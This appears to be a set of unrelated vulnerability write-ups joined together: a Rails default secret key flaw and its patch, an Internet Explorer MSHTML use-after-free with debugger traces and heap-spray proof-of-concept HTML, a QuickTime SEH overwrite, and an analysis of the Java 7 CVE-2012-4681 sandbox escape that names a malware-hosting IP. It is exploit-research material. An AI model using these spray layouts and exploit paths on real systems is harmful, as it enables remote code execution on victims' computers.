The first string is the actual encrypted data. The second string is the IV. The third is the auth tag. Each substring is Base64 encoded, so after splitting the string, they need to be decoded. What happens next depends on the code using the decryption method, beause it needs to specity what cipher to use. In the case of secrets.yml.enc, we are expecting AES-128-GCM, because it is specified in secrets.rb:

@cipher = "aes-128-gcm"

After that, our decrypted string is deserialized, and loaded as the secret. Technically, if a user has access to secrets.yml, they could backdoor this too to gain remote code execution.

However, like I previously said, all this does not even happen by default, because there is no secrets.yml by default. Using the application name as the key is definitely a much bigger concern for Rails users.

Patching

Since vulnerable version relies on the application name to create the secret_key_base, it is easy to mitigate this. Originally, this was the vulnerable code:

def secret_key_base
  if Rails.env.test? || Rails.env.development?
    secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name)
    # Code omitted below

And that becomes the following the patched version:

def secret_key_base
  if Rails.env.development? || Rails.env.test?
    secrets.secret_key_base ||= generate_development_secret
    # Code omitted below

In method generate_development_secret, the key is completely randomized using SecureRandom:

def generate_development_secret
  if secrets.secret_key_base.nil?
    key_file = Rails.root.join("tmp/development_secret.txt")

    if !File.exist?(key_file)
      random_key = SecureRandom.hex(64)
      File.binwrite(key_file, random_key)
    end

    secrets.secret_key_base = File.binread(key_file)
  end

  secrets.secret_key_base
end

Looks like everything a-okay.

1
Technical Analysis

The crash / corruptions happens at CMarkup::UpdateMarkupContentsVersion:

.text:637C9454                 inc     dword ptr [eax+10h]

In order to return from CMarkup::UpdateMarkupContentsVersion we can use the next route:

.text:637C9454                 inc     dword ptr [eax+10h] ; Corruption!
.text:637C9457
.text:637C9457 loc_637C9457:                           ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+14j
.text:637C9457                 mov     ecx, [edx+94h]  ; we need to bypass this part, we control edx, so not a big deal
.text:637C945D                 xor     eax, eax
.text:637C945F                 test    ecx, ecx
.text:637C9461                 jz      short loc_637C9466
.text:637C9463                 mov     eax, [ecx+0Ch]
.text:637C9466
.text:637C9466 loc_637C9466:                           ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+23j
.text:637C9466                 cmp     dword ptr [eax+1C0h], 0 ; We must make eax+1c0h == 0 (not a big deal via spray)
.text:637C946D                 jz      short locret_637C9496 ; So this jz is taken and we return from CMarkup::UpdateMarkupContentsVersion
  • After returning from CMarkup::UpdateMarkupContentsVersion we land into CMarkup::NotifyElementEnterTree:
.text:63776EC8                 call    ?UpdateMarkupContentsVersion@CMarkup@@QAEXXZ ; it's the call we're using for corruption
.text:63776ECD                 mov     eax, [esi+98h]  ; esi is the controlled object
.text:63776ED3                 test    eax, eax
.text:63776ED5                 jz      short loc_63776EED
.text:63776ED7                 cmp     dword ptr [esi+1A4h], 15F90h
.text:63776EE1                 jl      short loc_63776EED
.text:63776EE3                 mov     eax, [eax+8]
.text:63776EE6                 and     dword ptr [eax+2F0h], 0FFFFFFBFh ; We need to bypass this and, after that we get the control back :)

Reused object:

0:008> dd 061b90c8 Ld0
061b90c8  deadc0de 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b90d8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b90e8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b90f8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9108  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9118  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9128  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9138  1a1b1ff0 1a1b1ff0 1a1b1ff1 9a1b1ff1
061b9148  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9158  1a1b1ff0 1a1b2004 1a1b200c 1a1b1ff0
061b9168  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9178  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9188  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9198  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91a8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91b8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91c8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91d8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91e8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91f8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9208  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9218  1a1b1ff0 1a1b1ff0 1a1b1ff0 42424242
061b9228  1a1b1ff4 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9238  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9248  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9258  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9268  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9278  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9288  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9298  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92a8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92b8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92c8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92d8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92e8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92f8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9308  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9318  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9328  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9338  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9348  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9358  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9368  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9378  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9388  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9398  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93a8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93b8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93c8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93d8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93e8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93f8  1a1b1ff0 1a1b1ff0 1a1b1ff0 00001ff0

Sprayed memory should look like:

0:008> dd eax+10
1a1b2000  00000001 1a1b203c 00000000 1a1b2098
1a1b2010  1a1b2064 1a1b2068 00000000 00000000
1a1b2020  00000000 00000000 00000000 00000000
1a1b2030  00000000 00000000 00000000 00000000
1a1b2040  00000000 00000000 00000000 00000000
1a1b2050  00000000 00000000 00000000 00000000
1a1b2060  00000000 00000000 00000000 00000000
1a1b2070  00000000 00000000 00000000 00000000

x=1a1b1ff0 ebx=0298eeb8 ecx=00000195 edx=061b90c8 esi=061b90c8 edi=0297d568
eip=67ed9457 esp=02efb54c ebp=02efb5b8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19:
67ed9457 8b8a94000000    mov     ecx,dword ptr [edx+94h] ds:0023:061b915c=04201b1a
0:008> dd edx + 94
061b915c  1a1b2004

0:008> t
eax=00000000 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568
eip=67ed9463 esp=02efb54c ebp=02efb5b8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x25:
67ed9463 8b410c          mov     eax,dword ptr [ecx+0Ch] ds:0023:1a1b2010=64201b1a
0:008> dd ecx + 0c
1a1b2010  1a1b2064 1a1b2068 00000000 00000000

1a1b2064 must point to sprayed memory with content "0"

0:008> t
eax=1a1b2064 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568
eip=67e86ecd esp=02efb550 ebp=02efb5b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML!CMarkup::NotifyElementEnterTree+0x277:
67e86ecd 8b8698000000    mov     eax,dword ptr [esi+98h] ds:0023:061b9160=0c201b1a
0:008> dd esi + 98
061b9160  1a1b200c

0:008> dd 1a1b200c
1a1b200c  1a1b2098 1a1b2064 1a1b2068 00000000
1a1b201c  00000000 00000000 00000000 00000000
1a1b202c  00000000 00000000 00000000 00000000
1a1b203c  00000000 00000000 00000000 00000000
1a1b204c  00000000 00000000 00000000 00000000
1a1b205c  00000000 00000000 00000000 00000000
1a1b206c  00000000 00000000 00000000 00000000
1a1b207c  00000000 00000000 00000000 00000000

0:008> t
eax=1a1b200c ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568
eip=67e86ee3 esp=02efb550 ebp=02efb5b8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
MSHTML!CMarkup::NotifyElementEnterTree+0x28d:
67e86ee3 8b4008          mov     eax,dword ptr [eax+8] ds:0023:1a1b2014=68201b1a
0:008> dd eax+8
1a1b2014  1a1b2068

Simulate an spray with:

.dvalloc /b 1a1b1ff0 4000

THen go to 1a1b2004 and write:

1a1b203c 00000000 1a1b2098 1a1b2064 1a1b2068

After several tries I keep crashing curiously again:

0:008> r
eax=00000000 ebx=02f0c028 ecx=1a1b1ff0 edx=04e68ad8 esi=04e68ad8 edi=02f02b00
eip=67ed9466 esp=036bb46c ebp=036bb4d8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x28:
67ed9466 83b8c001000000  cmp     dword ptr [eax+1C0h],0 ds:0023:000001c0=????????
0:008> dd ecx+c
1a1b1ffc  00000000 00000003 1a1b203c 00000000
1a1b200c  1a1b2098 1a1b2064 1a1b2068 00000000

So we’re going to try adding to 1a1b1ffc => 1a1b205c => It adds some reliability,
but finally crashes again, looks like because finally we don’t control the reused
memory, someone else won the race :?

.dvalloc /b 1a1b1ff0 4000
f 1a1b1ffc L1C 5C 20 1B 1A 00 00 00 00 3C 20 1B 1A 00 00 00 00 98 20 1B 1A 64 20 1B 1A 68 20 1B 1A

Heap Spray with Attributes

In order to use the technique by vupen disclosed here:

http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php

the cloneNode doesn’t work anymore:

	var cl0ne = test.cloneNode(true);

It won’t clone attribute values, so CAttrValue::Copy isn’t hit anymore. In order to solve, after checking
the xrefx to CattrValue::Copy there is an interesting new path:

CElement::mergeAttributes

Here is PoC:

function test() {
	var myDiv = document.getElementById("pwn")
	var test = document.createElement("select")
	test.setAttribute('obj0', "AAAAAAAAAAAAAAAAAAAA")
	test.setAttribute('obj1', new Date())
	test.setAttribute('obj2', new Date())
	test.setAttribute('obj3', "METASPLOIT")
	alert(test.attributes.length);
	alert(test.getAttribute('obj0'));
	var cl0ne = test.cloneNode(true);
	cl0ne.mergeAttributes(test);
}

Spraying with Attributes, definite version:

<html>
<head>

<script>
function myTest() {

	var test = document.createElement("select")
	for (var j = 0; j < 0x80; j++) {
		test.setAttribute('test' + j, unescape("%u0001"))
	}

	var empty = document.createElement("select")

	alert('oka, bp copy......')
	var myAttributes = new Array();
	for (var i = 0; i < 0x20; i++) {
		myAttributes[i] = empty.cloneNode(true);
		myAttributes[i].mergeAttributes(test);
	}


	alert('oka, check what is there in memory...')
	alert(myAttributes[0].getAttribute('test0').length);

	//alert(myAttributes[0].test0.length);
	//alert(cl0ne.attributes.length);
}
</script>
</head>
<body onload="myTest();">
</body>
</html>

It will spray 0x800 size structs (with the Variant types and the pointers to strings!)

1
Technical Analysis

-
Down p sub_67EED2E0+193 call dangerous_copy_sub_67EED1E0 <— Interesting (0x67EED473)
Down p sub_67EED2E0+1E7 call dangerous_copy_sub_67EED1E0
Down p sub_67EED2E0+23C call dangerous_copy_sub_67EED1E0
Down p sub_67EED2E0+28D call dangerous_copy_sub_67EED1E0
Down p manage_transform_sub_67EED810+B6 call dangerous_copy_sub_67EED1E0 (*) this is the one we have reviewed

We noticed that sub_67EED2E0+193 can also trigger the crash, with even longer data without
triggering the warning.  In this particular case, the parser is handling arguments ending with
a "%", which can be reached as a 'color' argument, for example:

{ color: AAAAAAAAAAAAAA% }

Where "AAAAAAAAAAAAAA" will be copied on the stack. Also see poc3.xml for example.

As a result, we get to overwrite the stack with more data (like I said), and we end up overwriting
the SEH:

(c54.da8): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\QuickTime\QTSystem\QuickTime3GPP.qtx -
eax=00000030 ebx=0013cc25 ecx=0e0a7288 edx=0000355f esi=00140000 edi=0013cba0
eip=67eed1f3 esp=0013cb74 ebp=00000004 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
QuickTime3GPP!EatTx3gComponentDispatch+0x4033:
67eed1f3 8806 mov byte ptr [esi],al ds:0023:00140000=41
0:000> !exchain
0013ce24: 30303030
Invalid exception stack at 30303030
0:000> g
(c54.da8): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=30303030 edx=7c9032bc esi=00000000 edi=00000000
eip=30303030 esp=0013c7a4 ebp=0013c7c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
30303030 ?? ???
”`

quicktime.qts does not have Safe SEH protected.

The final version of the exploit can be found here:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/apple_quicktime_texml.rb

2
Technical Analysis

References

References about the attack:

References about the Java API used:

getField() wasn’t always public, see the following for an example:

http://javasourcecode.org/html/open-source/jdk/jdk-6u23/sun/awt/SunToolkit.java.html

Summary

This is a vulnerability specifically targeting Java 7. Some reports reveal the origin of the 0day
exploit comes from a popular exploit kit named “Gondad Exploit Kit” (google “ZZVnxA1X”), some people
also claim the 0day originally comes from VulnDisco, which is an exploit pack used by Immunity
Canvas. No matter, the public noticed the attack as a malware being hosted at 59.120.154.62, which
is a server located in Taiwan. The decompiled source also has strings (lyrics) such as
“woyouyizhixiaomaolv” and “conglaiyebuqi” indicating that whoever wrote it must know Mandarin Chinese
quite well, possibly China because that’s “Pinyin” input method, and he probably grew up there
due the choice of the song. It would be reasonable to say that someone in China has been using the
exploit, and hosts the malicious code on a compromised server in Taiwan.

The actual link to the live exploit is:
hxxp://59.120.154.62/meeting/index.html

The exploit takes advantage of two issues: The ClassFinder and MethodFinder.findMethod(). Both
were newly introduced in JDK 7. ClassFinder is a replacement for classForName back in JDK 6. It
allows untrusted code to obtain a reference and have access to a restricted package in JDK 7, which
can be used to abuse sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, we can
actually invoke getField() by abusing findMethod() in Statement.invokeInternal() (but getField()
must be public, and that’s not always the case in JDK 6) in order to access Statement.acc’s private
field, modify AccessControlContext, and then disable Security Manager. Once Security Manager is
disabled, we can execute arbitrary Java code.

Our exploit has been tested successfully against multiple platforms, including: IE, Firefox, Safari,
Chrome; Windows, Ubuntu, OS X, etc. We have even received reports claiming the exploit also works
against Solaris.

Timeline

Aug xx 2011 – Vulnerable code was introduced in JDK7
Apr xx 2012 – Oracle already aware of the vulnerabilities: http://www.theregister.co.uk/2012/08/30/oracle_knew_about_flaws/
Jun xx 2012 – Infected server hosting malware code: http://urlquery.net/report.php?id=70896
Aug 26 2012 – First blog emerged about the Java 0day: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
Aug 26 2012 – PoC extracted from the malicious site by Joshua Drake: https://twitter.com/jduck1337/status/239875285913317376
Aug 27 2012 – Metasploit exploit available: https://community.rapid7.com/community/metasploit/blog/2012/08/27/lets-start-the-week-with-a-new-java-0day
Aug 28 2012 – CVE assigned as CVE-2012-4681
Aug 30 2012 – Java 7 Update 7 available (out of band patch)

Exceptions happens on this line of the Exploit:

GetClass("sun.awt.SunToolkit")

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject); <===
        localExpression.execute(); // (3) Fails !!! <====
        return (Class)localExpression.getValue();
    }

Through Expression it tries to do Class.forName(“sun.awt.SunToolkit”). Despite the use of
Expression, according to the Exception on Java6 root cause seems to be on Class.forName.

When checking java 7 api you can read:

public static Class classForName(String name) throws ClassNotFoundException
Deprecated! As - of JDK version 7, replaced by ClassFinder#resolveClass(String) .

Returns the Class object associated with the class or interface with the given string name, using the default class loader

So maybe something was lost con ClassFinder#resolveClass….

Digging into source code of openjdk:

  • On Java 7
    ======
jdk/src/share/classes/java/lang/Class.java

    public static Class<?> forName(String className)
                throws ClassNotFoundException {
        return forName0(className, true, ClassLoader.getCallerClassLoader());
    }


    /** Called after security checks have been made. */
    private static native Class<?> forName0(String name, boolean initialize,
                                            ClassLoader loader)
        throws ClassNotFoundException;


jdk/src/share/native/java/lang/Class.c

JNIEXPORT jclass JNICALL
Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname,
                              jboolean initialize, jobject loader)

....
    cls = JVM_FindClassFromClassLoader(env, clname, initialize,
                                       loader, JNI_FALSE);

hotspot/src/share/vm/prims/jvm.cpp

JVM_ENTRY(jclass, JVM_FindClassFromClassLoader(JNIEnv* env, const char* name,
                                               jboolean init, jobject loader,
                                               jboolean throwError))
  JVMWrapper3("JVM_FindClassFromClassLoader %s throw %s", name,
               throwError ? "error" : "exception");
  // Java libraries should ensure that name is never null...
  if (name == NULL || (int)strlen(name) > Symbol::max_length()) {
    // It's impossible to create this class;  the name cannot fit
    // into the constant pool.
    if (throwError) {
      THROW_MSG_0(vmSymbols::java_lang_NoClassDefFoundError(), name);
    } else {
      THROW_MSG_0(vmSymbols::java_lang_ClassNotFoundException(), name);
    }
  }
  TempNewSymbol h_name = SymbolTable::new_symbol(name, CHECK_NULL);
  Handle h_loader(THREAD, JNIHandles::resolve(loader));
  jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
                                               Handle(), throwError, THREAD);

  if (TraceClassResolution && result != NULL) {
    trace_class_resolution(java_lang_Class::as_klassOop(JNIHandles::resolve_non_null(result)));
  }
  return result;
JVM_END

hotspot/src/share/vm/classfile/systemDictionary.cpp

jclass find_class_from_class_loader(JNIEnv* env, symbolHandle name, jboolean init, Handle loader, Handle protection_domain, jboolean throwError, TRAPS) {
  // Security Note:
  //   The Java level wrapper will perform the necessary security check allowing
  //   us to pass the NULL as the initiating class loader.
  klassOop klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);

  KlassHandle klass_handle(THREAD, klass);
  // Check if we should initialize the class
  if (init && klass_handle->oop_is_instance()) {
    klass_handle->initialize(CHECK_NULL);
  }
  return (jclass) JNIHandles::make_local(env, klass_handle->java_mirror());
}

hotspot/src/share/vm/classfile/systemDictionary.cpp

klassOop SystemDictionary::resolve_or_fail(symbolHandle class_name, Handle class_loader, Handle protection_domain, bool throw_error, TRAPS) {
  klassOop klass = resolve_or_null(class_name, class_loader, protection_domain, THREAD);
  if (HAS_PENDING_EXCEPTION || klass == NULL) {
    KlassHandle k_h(THREAD, klass);
    // can return a null klass
    klass = handle_resolution_exception(class_name, class_loader, protection_domain, throw_error, k_h, THREAD);
  }
  return klass;
}

klassOop SystemDictionary::resolve_or_null(symbolHandle class_name, Handle class_loader, Handle protection_domain, TRAPS) {
  assert(!THREAD->is_Compiler_thread(), "Can not load classes with the Compiler thread");
  if (FieldType::is_array(class_name())) {
    return resolve_array_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
  } else {
    return resolve_instance_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
  }
}

…. First review of resolve_instance_class_or_null doesn’t spot anything interesting at first view! Maybe
I should check carefully

  • On java6:
    =====
jdk/src/share/native/java/lang/Class.c

    public static Class<?> forName(String className)
                throws ClassNotFoundException {
        return forName0(className, true, ClassLoader.getCallerClassLoader());
    }


    /** Called after security checks have been made. */
    private static native Class forName0(String name, boolean initialize,
                                            ClassLoader loader)
        throws ClassNotFoundException;

hotspot/src/share/vm/prims/jvm.cpp

JVM_ENTRY(jclass, JVM_FindClassFromClassLoader(JNIEnv* env, const char* name,
                                               jboolean init, jobject loader,
                                               jboolean throwError))
  JVMWrapper3("JVM_FindClassFromClassLoader %s throw %s", name,
               throwError ? "error" : "exception");
  // Java libraries should ensure that name is never null...
  if (name == NULL || (int)strlen(name) > symbolOopDesc::max_length()) {
    // It's impossible to create this class;  the name cannot fit
    // into the constant pool.
    if (throwError) {
      THROW_MSG_0(vmSymbols::java_lang_NoClassDefFoundError(), name);
    } else {
      THROW_MSG_0(vmSymbols::java_lang_ClassNotFoundException(), name);
    }
  }
  symbolHandle h_name = oopFactory::new_symbol_handle(name, CHECK_NULL);
  Handle h_loader(THREAD, JNIHandles::resolve(loader));
  jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
                                               Handle(), throwError, THREAD);

  if (TraceClassResolution && result != NULL) {
    trace_class_resolution(java_lang_Class::as_klassOop(JNIHandles::resolve_non_null(result)));
  }
  return result;
JVM_END
jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init, Handle loader, Handle protection_domain, jboolean throwError, TRAPS) {
  // Security Note:
  //   The Java level wrapper will perform the necessary security check allowing
  //   us to pass the NULL as the initiating class loader.
  klassOop klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);

  KlassHandle klass_handle(THREAD, klass);
  // Check if we should initialize the class
  if (init && klass_handle->oop_is_instance()) {
    klass_handle->initialize(CHECK_NULL);
  }
  return (jclass) JNIHandles::make_local(env, klass_handle->java_mirror());
}

hotspot/src/share/vm/classfile/systemDictionary.cpp

klassOop SystemDictionary::resolve_or_fail(Symbol* class_name, Handle class_loader, Handle protection_domain, bool throw_error, TRAPS) {
  klassOop klass = resolve_or_null(class_name, class_loader, protection_domain, THREAD);
  if (HAS_PENDING_EXCEPTION || klass == NULL) {
    KlassHandle k_h(THREAD, klass);
    // can return a null klass
    klass = handle_resolution_exception(class_name, class_loader, protection_domain, throw_error, k_h, THREAD);
  }
  return klass;
klassOop SystemDictionary::resolve_or_null(Symbol* class_name, Handle class_loader, Handle protection_domain, TRAPS) {
  assert(!THREAD->is_Compiler_thread(), "Can not load classes with the Compiler thread");
  if (FieldType::is_array(class_name)) {
    return resolve_array_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
  } else if (FieldType::is_obj(class_name)) {
    ResourceMark rm(THREAD);
    // Ignore wrapping L and ;.
    TempNewSymbol name = SymbolTable::new_symbol(class_name->as_C_string() + 1,
                                   class_name->utf8_length() - 2, CHECK_NULL);
    return resolve_instance_class_or_null(name, class_loader, protection_domain, CHECK_NULL);
  } else {
    return resolve_instance_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
  }
}

…. First review of resolve_instance_class_or_null doesn’t spot anything interesting at first view! Maybe
I should check carefully

So going high level….

As have been said before, on JDK 7, classForName has been replaced by ClassFinder#resolveClass

public static Class classForName(String name) throws ClassNotFoundException
Deprecated! As - of JDK version 7, replaced by ClassFinder#resolveClass(String) .

ClassFinder doesn't exist on JDK 6, so digging into JDK 7:

     * @see #resolveClass(String,ClassLoader)
     */
    public static Class<?> resolveClass(String name) throws ClassNotFoundException {
        return resolveClass(name, null);
    }

calls with loader == null....

    /**
     * Returns the {@code Class} object associated with
     * the class or interface with the given string name,
     * using the given class loader.
     * <p>
     * The {@code name} can denote an array class
     * (see {@link Class#getName} for details).
     * <p>
     * If the parameter {@code loader} is null,
     * the class is loaded through the default class loader.
     * <p>
     * This method can be used to obtain
     * any of the {@code Class} objects
     * representing {@code void} or primitive Java types:
     * {@code char}, {@code byte}, {@code short},
     * {@code int}, {@code long}, {@code float},
     * {@code double} and {@code boolean}.
     *
     * @param name    fully qualified name of the desired class
     * @param loader  class loader from which the class must be loaded
     * @return class object representing the desired class
     *
     * @throws ClassNotFoundException  if the class cannot be located
     *                                 by the specified class loader
     *
     * @see #findClass(String,ClassLoader)
     * @see PrimitiveTypeMap#getType(String)
     */
    public static Class<?> resolveClass(String name, ClassLoader loader) throws ClassNotFoundException {
        Class<?> type = PrimitiveTypeMap.getType(name);
        return (type == null)
                ? findClass(name, loader)
                : type;
    }


    /**
     * Returns the {@code Class} object associated with
     * the class or interface with the given string name,
     * using the given class loader.
     * <p>
     * The {@code name} can denote an array class
     * (see {@link Class#getName} for details).
     * <p>
     * If the parameter {@code loader} is null,
     * the class is loaded through the default class loader.
     *
     * @param name    fully qualified name of the desired class
     * @param loader  class loader from which the class must be loaded
     * @return class object representing the desired class
     *
     * @throws ClassNotFoundException  if the class cannot be located
     *                                 by the specified class loader
     *
     * @see #findClass(String,ClassLoader)
     * @see Class#forName(String,boolean,ClassLoader)
     */
    public static Class<?> findClass(String name, ClassLoader loader) throws ClassNotFoundException {
        if (loader != null) {
            try {
                return Class.forName(name, false, loader);
            } catch (ClassNotFoundException exception) {
                // use default class loader instead
            } catch (SecurityException exception) {
                // use default class loader instead
            }
        }
        return findClass(name);
    }

Will call…. so here we go…. I suppose the difference could be how
Java 7 calls to Class.forName maybe….:

    /**
     * Returns the {@code Class} object associated
     * with the class or interface with the given string name,
     * using the default class loader.
     * <p>
     * The {@code name} can denote an array class
     * (see {@link Class#getName} for details).
     *
     * @param name  fully qualified name of the desired class
     * @return class object representing the desired class
     *
     * @throws ClassNotFoundException  if the class cannot be located
     *                                 by the specified class loader
     *
     * @see Class#forName(String)
     * @see Class#forName(String,boolean,ClassLoader)
     * @see ClassLoader#getSystemClassLoader()
     * @see Thread#getContextClassLoader()
     */
    public static Class<?> findClass(String name) throws ClassNotFoundException {
        try {
            ClassLoader loader = Thread.currentThread().getContextClassLoader();
            if (loader == null) {
                // can be null in IE (see 6204697)
                loader = ClassLoader.getSystemClassLoader();
            }
            if (loader != null) {
                return Class.forName(name, false, loader);
            }

        } catch (ClassNotFoundException exception) {
            // use current class loader instead
        } catch (SecurityException exception) {
            // use current class loader instead
        }
        return Class.forName(name);
    }

In Java6

	at java.security.AccessControlContext.checkPermission(Unknown Source)
	at java.security.AccessController.checkPermission(Unknown Source)
	at java.lang.SecurityManager.checkPermission(Unknown Source)
	at java.lang.SecurityManager.checkPackageAccess(Unknown Source)
	at sun.plugin2.applet.Applet2SecurityManager.checkPackageAccess(Unknown Source)
	at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
	at java.lang.ClassLoader.loadClass(Unknown Source)
	at sun.plugin2.applet.Plugin2ClassLoader.loadClass0(Unknown Source)
	at sun.plugin2.applet.Plugin2ClassLoader.loadClass(Unknown Source)
	at sun.plugin2.applet.Plugin2ClassLoader.loadClass0(Unknown Source)
	at sun.plugin2.applet.Plugin2ClassLoader.loadClass(Unknown Source)
	at sun.plugin2.applet.Plugin2ClassLoader.loadClass(Unknown Source)
	at java.lang.ClassLoader.loadClass(Unknown Source)
	at java.lang.Class.forName0(Native Method)
	at java.lang.Class.forName(Unknown Source)

My feeling is…. on Java7 the sun.plugin2.applet.Plugin2ClassLoader is not
being used….. sooo…. whhich one?…. maybe:

ClassLoader loader = Thread.currentThread().getContextClassLoader();
if (loader == null) {
	// can be null in IE (see 6204697)
	loader = ClassLoader.getSystemClassLoader();
}

maybe??? not sure 100% sorry, I would need debug it to see a little better…

The difference, could be, with JDK6, where the ClassFinder doesn’t exist, is which
forName would be call and ClassLoader.getCallerClassLoader() will be used…. could be???

    /**
     * Returns the {@code Class} object associated with the class or
     * interface with the given string name.  Invoking this method is
     * equivalent to:
     *
     * <blockquote>
     *  {@code Class.forName(className, true, currentLoader)}
     * </blockquote>
     *
     * where {@code currentLoader} denotes the defining class loader of
     * the current class.
     *
     * <p> For example, the following code fragment returns the
     * runtime {@code Class} descriptor for the class named
     * {@code java.lang.Thread}:
     *
     * <blockquote>
     *   {@code Class t = Class.forName("java.lang.Thread")}
     * </blockquote>
     * <p>
     * A call to {@code forName("X")} causes the class named
     * {@code X} to be initialized.
     *
     * @param      className   the fully qualified name of the desired class.
     * @return     the {@code Class} object for the class with the
     *             specified name.
     * @exception LinkageError if the linkage fails
     * @exception ExceptionInInitializerError if the initialization provoked
     *            by this method fails
     * @exception ClassNotFoundException if the class cannot be located
     */
    public static Class<?> forName(String className)
                throws ClassNotFoundException {
        return forName0(className, true, ClassLoader.getCallerClassLoader());
    }
1
